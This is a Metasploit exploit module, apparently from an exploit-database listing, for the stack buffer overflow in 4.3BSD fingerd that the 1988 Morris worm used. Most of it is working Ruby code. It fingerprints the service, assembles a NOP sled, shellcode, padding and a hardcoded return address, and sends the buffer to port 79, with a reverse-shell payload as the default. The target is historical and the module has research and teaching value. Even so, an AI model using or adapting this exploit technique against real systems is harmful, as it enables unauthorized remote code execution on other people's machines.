Morris Worm fingerd Stack Buffer Overflow

2018.11.06
Credit: wvu
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # This is so one-off that we define it here ARCH_VAX = 'vax' include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Morris Worm fingerd Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in fingerd on 4.3BSD. This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg. }, 'Author' => [ 'Robert Tappan Morris', # Discovery? Exploit and worm for sure 'Cliff Stoll', # The Cuckoo's Egg epilogue and inspiration 'wvu' # Module, payload, and additional research ], 'References' => [ ['URL', 'https://en.wikipedia.org/wiki/Morris_worm'], # History ['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'], # Analysis ['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'], # Details ['URL', 'https://github.com/arialdomartini/morris-worm'], # Source ['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup # And credit to the innumerable VAX ISA docs on the Web ], 'DisclosureDate' => 'Nov 2 1988', 'License' => MSF_LICENSE, 'Platform' => 'bsd', 'Arch' => ARCH_VAX, 'Privileged' => false, # Depends on inetd.conf, usually "nobody" 'Targets' => [ # https://en.wikipedia.org/wiki/Source_Code_Control_System ['@(#)fingerd.c 5.1 (Berkeley) 6/6/85', 'Ret' => 0x7fffe9b0, 'Payload' => { 'Space' => 403, 'BadChars' => "\n", 'Encoder' => 'generic/none', # There is no spoon 'DisableNops' => true # Hardcoded NOPs } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'bsd/vax/shell_reverse_tcp'} )) register_options([Opt::RPORT(79)]) end def check token = rand_text_alphanumeric(8..42) connect sock.put("#{token}\n") res = sock.get_once return CheckCode::Unknown unless res if res.include?("Login name: #{token}") return CheckCode::Detected end CheckCode::Safe rescue Rex::ConnectionError => e vprint_error(e.message) CheckCode::Unknown ensure disconnect end def exploit # Start by generating our custom VAX shellcode shellcode = payload.encoded # 0x01 is NOP in VAX-speak nops = "\x01" * (target.payload_space - shellcode.length) # This overwrites part of the buffer junk = rand_text_alphanumeric(109) # This zeroes out part of the stack frame frame = "\x00" * 16 # Finally, pack in our return address ret = [target.ret].pack('V') # V is for VAX! # The newline is for gets(3) sploit = nops + shellcode + junk + frame + ret + "\n" # Fire away print_status('Connecting to fingerd') connect print_status("Sending #{sploit.length}-byte buffer") sock.put(sploit) # Hat tip @bcoles rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) ensure disconnect end end


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